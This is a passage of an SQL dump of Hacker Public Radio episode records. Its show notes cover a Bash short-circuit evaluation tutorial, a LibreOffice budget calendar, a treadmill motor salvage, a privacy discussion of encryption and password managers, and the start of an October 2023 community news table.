href=\"https://hackerpublicradio.org/correspondents/0406.html\">binrc</a>.</small></small></p>\n',406,0,1,'CC-BY-SA','FreeBSD',0,0,1),
(3704,'2022-10-13','Follow up to hpr3685 :: Budget and an Android app',104,'I add a calendar to the budget spreadsheet in LibreOffice','<h4 id=\"follow-up-on-hpr3685-budget-and-an-android-app\">Follow up on hpr3685 :: Budget and an Android app</h4>\n<p>I added a calendar from OpenOffice.org</p>\n<p><a href=\"https://templates.openoffice.org/en/template/any-year-calendar-holidays\" title=\"Open Office calendar template for any year\">OpenOffice.org Template</a></p>\n<p><img src=\"eps/hpr3704/hpr3704/Copy_sheet_1.png\" title=\"Copying a sheet, image 1\" alt=\"Copying a sheet, screenshot 1\" /></p>\n<p><img src=\"eps/hpr3704/hpr3704/Copy_sheet_2.png\" title=\"Copying a sheet, image 2\" alt=\"Copying a sheet screenshot 2\" /></p>\n<p><a href=\"eps/hpr3704/hpr3704/Design_mode_sm.png\" title=\"Switching to Design Mode\"><img src=\"eps/hpr3704/hpr3704/Design_mode_sm_thumbnail.png\" title=\"Switching to Design Mode\" alt=\"Switching to Design Mode\" /></a></p>\n<p><img src=\"eps/hpr3704/hpr3704/Form_control_sm.png\" title=\"Form Control example\" alt=\"Form Control example\" /></p>\n<p><a href=\"eps/hpr3704/hpr3704/Budget_Sample_Any_Year_2022-9-26_05.33.15.ods\" title=\"Budget sample with a calendar in LibreOffice\">Budget sample with a calendar in LibreOffice (Download link)</a></p>\n',318,0,0,'CC-BY-SA','Budget, spreadsheet, LibreOffice, OpenOffice',0,0,1),
(3708,'2022-10-19','Insomnia as a Hobby',466,'Fighting insomnia? Enjoy it...with a few tricks!','<p>I struggle with insomnia, instead of dreading it - I rather enjoy it now...here\'s how!</p>\n',389,0,0,'CC-BY-SA','insomnia,podcasts,librivox',0,0,1),
(3713,'2022-10-26','Bash snippet - short-circuit evaluation in Bash Boolean expressions',1000,'Found I could do this in Bash, so wanted to share!','<article>\n<h2 id=\"preamble\">Preamble</h2>\n<p>This is a case where I came upon a thing in Bash I had never considered before and was pleased and surprised that there was a way of doing what I wanted to do! If this is completely obvious to you, apologies, but it wasn’t to me!</p>\n<h2 id=\"overview\">Overview</h2>\n<p>Many programming languages have the concept of <a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation\">short-circuit evaluation</a> in Boolean expressions. What this means is that in an expression such as:</p>\n<pre><code>A AND B</code></pre>\n<p>if <code>A</code> is <strong>false</strong> then the whole expression must be <strong>false</strong>, and <code>B</code> doesn’t have to be evaluated. That is because both arguments to <code>AND</code> have to be <strong>true</strong> for the overall result to be <strong>true</strong>.</p>\n<p>If <code>A</code> is <strong>true</strong> on the other hand, then <code>B</code> has to be evaluated to determine if the overall result is <strong>true</strong>.</p>\n<p>Similarly with:</p>\n<pre><code>A OR B</code></pre>\n<p>if <code>A</code> is <strong>true</strong> then the whole expression must be <strong>true</strong> and <code>B</code> can be skipped without evaluation. This is because only one argument to <code>OR</code> needs to be <strong>true</strong> to return a <strong>true</strong> result.</p>\n<p>If <code>A</code> is <strong>false</strong> on the other hand, then <code>B</code> has to be evaluated to determine if the overall result is <strong>false</strong>.</p>\n<p>Both of these expressions are evaluated from left to right. This is not a given in all languages. Some use special operators such as <code>\'and_then\'</code> and <code>\'or_else\'</code> which explicitly perform short-circuiting and left-to-right evaluation.</p>\n<h3 id=\"definition\">Definition</h3>\n<p>In simple terms, short-circuiting is where the evaluation of an expression is stopped as soon as its outcome is determined.</p>\n<p>The Wikipedia article <a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation\">Short-circuit evaluation</a> defines it as:</p>\n<blockquote>\n<p>Short-circuit evaluation, minimal evaluation, or McCarthy evaluation (after John McCarthy) is the semantics of some Boolean operators in some programming languages in which the second argument is executed or evaluated only if the first argument does not suffice to determine the value of the expression: when the first argument of the AND function evaluates to false, the overall value must be false; and when the first argument of the OR function evaluates to true, the overall value must be true.</p>\n</blockquote>\n<p>This article contains a table entitled <a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation#Support_in_common_programming_and_scripting_languages\"><em>Boolean operators in various languages</em></a> which shows details of how various programming and scripting languages cater for this feature.</p>\n<h2 id=\"use-case\">Use case</h2>\n<p>I was writing a Bash script in which I wanted to ask questions about various steps - should they be done or not? Alternatively, I wanted to be able to set an option to run without interaction and assume the answer is <code>\'yes\'</code> to all questions.</p>\n<p>I’d encountered <em>short-circuit evaluation</em> before in Pascal and Perl so I wondered if I could use it in Bash.</p>\n<p>The expression I was trying to write was:</p>\n<pre><code>if [[ $YES -eq 1 ]] || yes_no &#39;Create directory? %s &#39; &#39;N&#39;; then\n    # Create directory\nfi</code></pre>\n<ul>\n<li>Variable <code>YES</code> is being set through an option <code>\'-Y\'</code>; it’s normally set to zero but is set to 1 if the option is used.</li>\n<li><code>yes_no</code> is a function I wrote, and talked about in <a href=\"https://hackerpublicradio.org/eps.php?id=2096\">HPR episode 2096: “Useful Bash functions - part 2”</a>.</li>\n</ul>\n<p>The requirement was that if <code>YES</code> was set to 1 I didn’t want the function to be called at all.</p>\n<p>I was a little surprised, and very happy, to find that this is what happens.</p>\n<p>Here is the full example from the script that started me thinking about this issue - and therefore caused me to make this show:</p>\n<pre><code>#\n# We need a show directory. If it doesn&#39;t exist then we&#39;ll create it because\n# other scripts will use it.\n#\nif [[ ! -d $SHOWDIR ]]; then\n    echo &quot;${red}There is no directory for show $show${reset}&quot;\n\n    #\n    # If the -Y option was not chosen ask with &#39;yes_no&#39;. It -Y was chosen\n    # we&#39;re to go ahead regardless. This relies on the fact that Bash\n    # &quot;short-circuits&quot; logical expressions like this.\n    #\n    if [[ $YES -eq 1 ]] || yes_no &#39;Create directory? %s &#39; &#39;N&#39;; then\n        mkdir &quot;$SHOWDIR&quot;\n        _silent &quot;${green}Directory created for show $show${reset}&quot;\n    else\n        _silent &quot;${yellow}Not changed${reset}&quot;\n    fi\nfi</code></pre>\n<p><strong>Notes</strong>:</p>\n<ul>\n<li>I have a Bash function that defines colours which is included into this script. That’s why you see <code>\'echo \"${red}...${reset}\"\'</code> in the above. I also have a function to turn off colour by setting the relevant variables to empty strings.</li>\n<li>The <code>\'yes_no\'</code> function takes a prompt string with an (optional) <code>\'%s\'</code> placeholder for the expected inputs and default. This is followed by the default: <code>\'N\'</code>.</li>\n<li>The function <code>\'_silent\'</code> writes the message given as its argument, depending on the setting of a <code>\'SILENT\'</code> variable set earlier.</li>\n</ul>\n<h2 id=\"should-it-be-used\">Should it be used?</h2>\n<h3 id=\"case-1\">Case 1</h3>\n<p>Bash uses short-circuiting in other contexts. This was discussed in the <em>Bash Tips</em> series, <a href=\"https://hackerpublicradio.org/eps.php?id=2649\">episode 10</a> with the example:</p>\n<pre><code>[ -e /some/file ] || exit 1</code></pre>\n<p>Here the test is performed using <code>\'-e\'</code> to determine if <code>\'/some/file\'</code> exists. The result is either <strong>true</strong> or <strong>false</strong>. If the test returns <strong>true</strong> then the overall result of the <em>or</em> is <strong>true</strong> and the evaluation is short-circuited so that the <code>\'exit 1\'</code> is not invoked. If the test is <strong>false</strong> then the second expression has to be evaluated to determine the overall result, so the <code>\'exit 1\'</code> is invoked and the script exits.</p>\n<p>Incidentally, the <code>\'[ -e file ]\'</code> construct is actually an instance of the <code>test</code> command so could be written:</p>\n<pre><code>test -e /some/file || exit 1</code></pre>\n<p>You might be familiar with command pipelines which use this technique, such as:</p>\n<pre><code>sudo apt update &amp;&amp; sudo apt upgrade</code></pre>\n<p>If the <code>\'apt update\'</code> is successful the <code>\'apt upgrade\'</code> is run. If it fails then the second command is not run.</p>\n<h3 id=\"case-2\">Case 2</h3>\n<p>We have seen the example that prompted me to make this show:</p>\n<pre><code>if [[ $YES -eq 1 ]] || yes_no &#39;Create directory? %s &#39; &#39;N&#39;; then\n    # Create directory\nfi</code></pre>\n<p>This could have been written as:</p>\n<pre><code>if [[ $YES -eq 1 ]]; then\n    # Create directory\nelif yes_no &#39;Create directory? %s &#39; &#39;N&#39;; then\n    # Create directory\nfi</code></pre>\n<p>I prefer the first way, but it could be argued in a development environment that co-workers might find it confusing.</p>\n<h3 id=\"conclusion\">Conclusion</h3>\n<p>So, my conclusion is that short-circuiting is a desirable feature that I will continue to use.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Wikipedia:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation\">Wikipedia article on short-circuit evaluation</a>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Short-circuit_evaluation#Support_in_common_programming_and_scripting_languages\">Table entitled <em>Boolean operators in various languages</em></a></li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Conditional_(programming)\">Wikipedia article on conditional constructs in programming</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Truth-value\">Wikipedia article on Truth values in logic, mathematics and programming</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>HPR shows:\n<ul>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2096\"><em>Useful Bash functions - part 2</em></a></li>\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2649\"><em>More ancillary Bash tips - 10</em></a></li>\n</ul></li>\n</ul>\n</article>\n',225,42,1,'CC-BY-SA','Bash,Boolean expression,short-circuit evaluation',0,0,1),
(3703,'2022-10-12','McCurdy House Tour',767,'operat0r brings us on a House Tour','<p>CL4P-TP Claptrap Borderlands Lego Bricklink<br />\n<a href=\"https://rmccurdy.com/.scripts/downloaded/CL4P-TP%20Claptrap%20Borderlands%20Bricklink.pdf\" class=\"uri\">https://rmccurdy.com/.scripts/downloaded/CL4P-TP%20Claptrap%20Borderlands%20Bricklink.pdf</a><br />\n<a href=\"https://rmccurdy.com/.scripts/downloaded/CL4P-TP%20Claptrap%20Borderlands%20Bricklink.xml\" class=\"uri\">https://rmccurdy.com/.scripts/downloaded/CL4P-TP%20Claptrap%20Borderlands%20Bricklink.xml</a></p>\n<p>Lightsabers (get mystery box or whatever boneyard etc because much cheaper if you really just want programable full pixel blade)<br />\n<a href=\"https://www.crimsondawn.com/products/mystery-box?variant=33206141681741\" class=\"uri\">https://www.crimsondawn.com/products/mystery-box?variant=33206141681741</a></p>\n<p>I paid $268USD for Neopixel Proffie ( I think it\'s all xenopixel stuff nowadays ): <a href=\"https://darkwolfsabers.com/shop/ols/products/rgb-baslix-saber/v/RGB-BSL-SBR-NPX-PRF\" class=\"uri\">https://darkwolfsabers.com/shop/ols/products/rgb-baslix-saber/v/RGB-BSL-SBR-NPX-PRF</a></p>\n<p>RGB\'s from LGT Store (60-70$)<br />\n<a href=\"https://www.aliexpress.com/store/1101560967\" class=\"uri\">https://www.aliexpress.com/store/1101560967</a></p>\n',36,0,1,'CC-BY-SA','ASMR',0,0,1),
(3707,'2022-10-18','Recovering a Massive 3.5 HP Electric Motor from a Treadmill',1006,'Retrieval of future robot parts in the field','<p><em>Figure 1 - trash</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/hpr3707/fig1trash.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/hpr3707/fig1trash_thumbnail.jpg\" alt=\"Figure 1 - trash\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 2 - close-up</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/hpr3707/fig2close.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/hpr3707/fig2close_thumbnail.jpg\" alt=\"Figure 2 - close-up\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 3 - screen</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/hpr3707/fig3screen.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/hpr3707/fig3screen_thumbnail.jpg\" alt=\"Figure 3 - screen\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 3 - parts collected</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/hpr3707/fig4gets.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/hpr3707/fig4gets_thumbnail.jpg\" alt=\"Figure 3 - parts collected\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 5 - scrap iron</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/hpr3707/fig5iron.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/hpr3707/fig5iron_thumbnail.jpg\" alt=\"Figure 5 - scrap iron\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 6 - size comparison</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3707/hpr3707/fig6compare.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3707/hpr3707/fig6compare_thumbnail.jpg\" alt=\"Figure 6 - size comparison\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n',401,0,1,'CC-BY-SA','beam,righttorepair,robots,mechatronics',0,0,1),
(3709,'2022-10-20','Relationships to games and console generations',568,'Some ramblings about what next generation consoles used to mean to games, gamers and game developers','<p>I talk about my views on how much of an impact technological jumps\nused to make on gaming in previous decades vs this decade.</p>\n',412,0,0,'CC-BY-SA','Video Games, Game Consoles',0,0,1),
(3715,'2022-10-28','Secret hat conversations, Part 2.',3899,'Twin Tin Hats, feat. archer72.','<ul>\n<li><p><strong>Quantum computing</strong></p>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Quantum_computing\">Quantum\ncomputing</a> is a type of computation whose operations can harness the\nphenomena of quantum mechanics, such as superposition, interference, and\nentanglement. Devices that perform quantum computations are known as\nquantum computers. Though current quantum computers are too small to\noutperform usual (classical) computers for practical applications,\nlarger realizations are believed to be capable of solving certain\ncomputational problems, such as integer factorization (which underlies\nRSA encryption), substantially faster than classical computers.</li>\n<li>Today&#x2019;s <a\nhref=\"https://www.intel.com/content/www/us/en/research/quantum-computing.html\">quantum\nsystems</a> only include tens or hundreds of entangled qubits, limiting\nthem from solving real-world problems. To achieve quantum practicality,\ncommercial quantum systems need to scale to over a million qubits and\novercome daunting challenges like qubit fragility and software\nprogrammability.</li>\n<li><a\nhref=\"https://www.cnet.com/tech/computing/quantum-computers-could-crack-todays-encrypted-messages-thats-a-problem/\">Quantum\ncomputers</a>, if they mature enough, will be able to crack much of\ntoday\'s encryption. That\'ll lay bare private communications, company\ndata and military secrets. Today\'s quantum computers are too rudimentary\nto do so. But data surreptitiously gathered now could still be sensitive\nwhen more powerful quantum computers come online in a few years.</li>\n<li><a\nhref=\"https://www.intego.com/mac-security-blog/how-quantum-computing-will-affect-computer-security-and-passwords/\">Simple\npasswords</a> can be cracked using brute force; this is where an\nattacker uses tools that try every possible password until the correct\none is found. This generally done using a dictionary attack, where an\nattacker will try known passwords and words until they find the one that\nunlocks an account. There are databases available on the internet that\ncontain personal names as well as dictionary and slang words, in scores\nof languages, along with passwords found in data breaches, and\nmore.</li>\n</ul></li>\n<li><p><strong>Encryption.</strong></p>\n<ul>\n<li>The <a\nhref=\"https://www.nist.gov/publications/advanced-encryption-standard-aes\">Advanced\nEncryption Standard</a> (AES) specifies a FIPS-approved cryptographic\nalgorithm that can be used to protect electronic data. The AES algorithm\nis a symmetric block cipher that can encrypt (encipher) and decrypt\n(decipher) information. Encryption converts data to an unintelligible\nform called ciphertext; decrypting the ciphertext converts the data back\ninto its original form, called plaintext. The AES algorithm is capable\nof using cryptographic keys of 128, 192, and 256 bits to encrypt and\ndecrypt data in blocks of 128 bits.</li>\n<li>The National Security Agency (NSA) reviewed all the <a\nhref=\"https://en.wikipedia.org/wiki/Advanced_Encryption_Standard\">AES</a>\nfinalists, including Rijndael, and stated that all of them were secure\nenough for U.S. Government non-classified data. In June 2003, the U.S.\nGovernment announced that AES could be used to protect classified\ninformation: For cryptographers, a cryptographic \"break\" is anything\nfaster than a brute-force attack &#x2013; i.e., performing one trial decryption\nfor each possible key in sequence. A break can thus include results that\nare infeasible with current technology. Despite being impractical,\ntheoretical breaks can sometimes provide insight into vulnerability\npatterns. The largest successful publicly known brute-force attack\nagainst a widely implemented block-cipher encryption algorithm was\nagainst a 64-bit RC5 key by distributed.net in 2006.</li>\n</ul></li>\n<li><p><strong>Password Management.</strong></p>\n<ul>\n<li><a href=\"https://bitwarden.com/\">Bitwarden</a></li>\n<li><a href=\"https://keepassxc.org/\">KeepassXC</a></li>\n<li><a\nhref=\"https://www.mass.gov/guides/password-best-practices-and-recommendations\">Tips\nfor creating a strong password</a>\n<ul>\n<li>Enable Two-Factor authentication whenever possible. While a great\npassphrase will help secure you and the Commonwealth&#x2019;s data, a second\nfactor makes it that much more difficult for hackers to gain\naccess.</li>\n</ul></li>\n</ul></li>\n<li><p><strong>Password Generation.</strong></p>\n<ul>\n<li>pwgen : found in most linux repos</li>\n<li><a href=\"https://linux.die.net/man/1/pwgen\"\ntitle=\"Man page for pwgen\npassword generator\">Man page for pwgen</a></li>\n<li>Example : pwgen -y 50 3 : generates a 50 character password with\nsymbols, with 3 choices</li>\n</ul></li>\n<li><p><strong>Google and Amazon are listening</strong></p>\n<ul>\n<li><a\nhref=\"https://www.cnet.com/home/smart-home/amazon-and-google-are-listening-to-your-voice-recordings-heres-what-we-know\"\ntitle=\"CNET article on Google and Amazon\">CNET article on Google and\nAmazon</a></li>\n</ul></li>\n</ul>\n<pre><code>    &quot;I don&#39;t blame anyone who doesn&#39;t want to fill their house with cameras and\n    microphones, but I also don&#39;t blame anyone who&#39;s willing to trade some of their\n    data with a company they feel comfortable with in order to bring some new\n    convenience and utility into their lives. It&#39;s nearly impossible to navigate\n    today&#39;s age without making trades like that on a daily basis.&quot;</code></pre>\n<hr />\n<p>What is <a\nhref=\"https://www.geeksforgeeks.org/what-is-web-scraping-and-how-to-use-it/\">Web\nScraping</a>? Web scraping is an automatic method to obtain large\namounts of data from websites.</p>\n<p>What is <a\nhref=\"https://www.geeksforgeeks.org/what-is-machine-learning/\">Machine\nLearning</a>? Machine Learning, as the name says, is all about machines\nlearning automatically without being explicitly programmed or learning\nwithout any direct human intervention. This machine learning process\nstarts with feeding them good quality data and then training the\nmachines by building various machine learning models using the data and\ndifferent algorithms.</p>\n<hr />\n<ol type=\"1\">\n<li>The <a\nhref=\"https://www.jacksonvilledivorcelawyerblog.com/divorce_records_used_in_politi/\">October\nSuprise</a>.</li>\n<li>The <a\nhref=\"https://www.hrw.org/news/2018/01/09/interview-when-us-government-hides-evidence\">fruit\nof the poisonous tree</a>.</li>\n<li>This Is the Data Facebook Gave Police to <a\nhref=\"https://www.vice.com/en/article/n7zevd/this-is-the-data-facebook-gave-police-to-prosecute-a-teenager-for-abortion\">Prosecute\na Teenager for Abortion</a>.</li>\n<li>Google is <a\nhref=\"https://www.cnet.com/news/privacy/google-is-giving-data-to-police-based-on-search-keywords-court-docs-show/\">giving\ndata to police</a> based on search keywords, court docs show.</li>\n<li>Google bans dad for &#x2018;child porn&#x2019; after <a\nhref=\"https://nypost.com/2022/08/22/google-bans-dad-for-sending-pics-of-toddlers-swollen-genitals-to-doctor/\">he\nsent pics of toddler&#x2019;s swollen genitals to doctor</a>.</li>\n<li>Proton VPN <a\nhref=\"https://protonvpn.com/blog/transparency-report/\">Transparency\nReport &amp; Warrant Canary</a>.</li>\n</ol>\n',391,0,1,'CC-BY-SA','Tin hat, Quantum computing, Encryption, Conspiracy',0,0,1),
(3981,'2023-11-06','HPR Community News for October 2023',3085,'HPR Volunteers talk about shows released and comments posted in October 2023','<style>\ntable td.shrink {\n    white-space:nowrap\n}\nhr.thin {\n    border: 0;\n    height: 0;\n    border-top: 1px solid rgba(0, 0, 0, 0.1);\n    border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents/0425.html\" target=\"_blank\">gemlog</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3956/index.html\" target=\"_blank\">3956</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-10-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3956/index.html\" target=\"_blank\">HPR Community News for September 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3957/index.html\" target=\"_blank\">3957</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-10-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3957/index.html\" target=\"_blank\">The Oh No! News.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3958/index.html\" target=\"_blank\">3958</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-10-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3958/index.html\" target=\"_blank\">Bikepacking in 1993 without technology</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0111.html\" target=\"_blank\">knightwise</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3959/index.html\" target=\"_blank\">3959</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-10-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3959/index.html\" target=\"_blank\">Download any HPR series with english file names</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0425.html\" target=\"_blank\">gemlog</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3960/index.html\" target=\"_blank\">3960</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-10-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3960/index.html\" target=\"_blank\">On The Road At Last</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3961/index.html\" target=\"_blank\">3961</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-10-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3961/index.html\" target=\"_blank\">RERE: How to make friends.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3962/index.html\" target=\"_blank\">3962</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-10-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3962/index.html\" target=\"_blank\">It\'s your data</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3963/index.html\" target=\"_blank\">3963</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-10-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3963/index.html\" target=\"_blank\">Storytelling Games</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3964/index.html\" target=\"_blank\">3964</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-10-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3964/index.html\" target=\"_blank\">Hacker Public Radio at OLF</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0270.html\" target=\"_blank\">Thaj Sara</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3965/index.html\" target=\"_blank\">3965</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-10-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3965/index.html\" target=\"_blank\">I\'ve taken the Conqueror Virtual Challenge</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3966/index.html\" target=\"_blank\">3966</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-10-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3966/index.html\" target=\"_blank\">Vim Hints: 006</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3967/index.html\" target=\"_blank\">3967</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-10-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3967/index.html\" target=\"_blank\">Unsolicited thoughts on running open source software projects</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3968/index.html\" target=\"_blank\">3968</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-10-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3968/index.html\" target=\"_blank\">About USBimager - part 1/2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0421.html\" target=\"_blank\">Reto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3969/index.html\" target=\"_blank\">3969</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-10-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3969/index.html\" target=\"_blank\">Game Sales</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3970/index.html\" target=\"_blank\">3970</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-10-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3970/index.html\" target=\"_blank\">Playing Alpha Centauri, Part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3971/index.html\" target=\"_blank\">3971</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-10-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3971/index.html\" target=\"_blank\">RERERE: How to make friends.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3972/index.html\" target=\"_blank\">3972</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-10-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3972/index.html\" target=\"_blank\">Thunderbird inbox filtering: keeping a clean/orderly inbox.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3973/index.html\" target=\"_blank\">3973</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-10-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3973/index.html\" target=\"_blank\">Creating an equalizer preset for your episodes of HPR</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3974/index.html\" target=\"_blank\">3974</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-10-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3974/index.html\" target=\"_blank\">About USBimager - part 2/2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0421.html\" target=\"_blank\">Reto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3975/index.html\" target=\"_blank\">3975</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-10-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3975/index.html\" target=\"_blank\">Mesa Verde 20230618</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3976/index.html\" target=\"_blank\">3976</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-10-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3976/index.html\" target=\"_blank\">The Evolution of Windows\' Snipping Tool</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0266.html\" target=\"_blank\">Keith Murray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3977/index.html\" target=\"_blank\">3977</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-10-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3977/index.html\" target=\"_blank\">Creative Commons 